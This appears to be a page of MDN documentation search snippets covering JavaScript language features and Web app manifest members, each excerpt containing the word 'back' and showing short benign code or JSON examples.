backgroundcolor = '#a5d9f3'; } // get a list of every element in the document var elements = document.getelementsbytagname('*'); // add bluify as a click listener so when the // element is clicked on, it turns blue for (var i = 0; i < elements.length; i++) { elements[i].addeventlistener('click', bluify, false); } in an inline event handler when the code is called from an inline on-event handler,...
void operator - JavaScript
for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.
backgroundcolor='green');"> click here for green
background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
continue - JavaScript
description in contrast to the break statement, continue does not terminate the execution of the loop entirely: instead, in a while loop, it jumps
back to the condition.
export - JavaScript
using the default export if we want to export a single value or to have a fall
back value for your module, you could use a default export: // module "my-module.js" export default function cube(x) { return x * x * x; } then, in another script, it is straightforward to import the default export: import cube from './my-module.js'; console.log(cube(3)); // 27 using export from let's take an example where we have the following hierarchy: childmodule1.js: exporting myfunc...
function* - JavaScript
generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with call
backs, such as call
back hell and inversion of control.
switch - JavaScript
javascript will drop you
back to the default if it can't find a match: var foo = 5; switch (foo) { case 2: console.log(2); break; // it encounters this break so will not continue into 'default:' default: console.log('default') // fall-through case 1: console.log('1'); } it also works when you put default before all other cases.
JavaScript typed arrays - JavaScript
conversion to normal arrays after processing a typed array, it is sometimes useful to convert it
back to a normal array in order to benefit from the array prototype.
JavaScript
this module gives you some fundamental
background knowledge about how client-side frameworks work and how they fit into your toolset, before moving on to tutorial series covering some of today's most popular ones.
categories - Web app manifests
example "categories": ["books", "education", "medical"] specification specification status comment feed
back web app manifestthe definition of 'categories' in that specification.
description - Web app manifests
examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feed
back web app manifestthe definition of 'description' in that specification.
dir - Web app manifests
example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feed
back web app manifestthe definition of 'dir' in that specification.
iarc_rating_id - Web app manifests
examples "iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7" specification specification status comment feed
back web app manifestthe definition of 'iarc_rating_id' in that specification.
icons - Web app manifests
specification specification status comment feed
back web app manifestthe definition of 'icons' in that specification.
lang - Web app manifests
examples "lang": "en-us" specification specification status comment feed
back web app manifestthe definition of 'lang' in that specification.
name - Web app manifests
examples simple name in left-to-right language: "name": "awesome application" right-to-left name in arabic: "dir": "rtl", "lang": "ar", "name": "!أنا من التطبيق" specification specification status comment feed
back web app manifestthe definition of 'name' in that specification.
orientation - Web app manifests
values orientation can take one of the following values: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary examples "orientation": "portrait-primary" specification specification status comment feed
back web app manifestthe definition of 'orientation' in that specification.
scope - Web app manifests
examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feed
back web app manifestthe definition of 'scope' in that specification.
screenshots - Web app manifests
examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feed
back web app manifestthe definition of 'screenshots' in that specification.
short_name - Web app manifests
examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feed
back web app manifestthe definition of 'short_name' in that specification.
shortcuts - Web app manifests
xamples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feed
back web app manifestthe definition of 'shortcuts' in that specification.
start_url - Web app manifests
"start_url": "../startpoint.html" specification specification status comment feed
back web app manifestthe definition of 'start_url' in that specification.
theme_color - Web app manifests
examples "theme_color": "red" specification specification status comment feed
back web app manifestthe definition of 'theme_color' in that specification.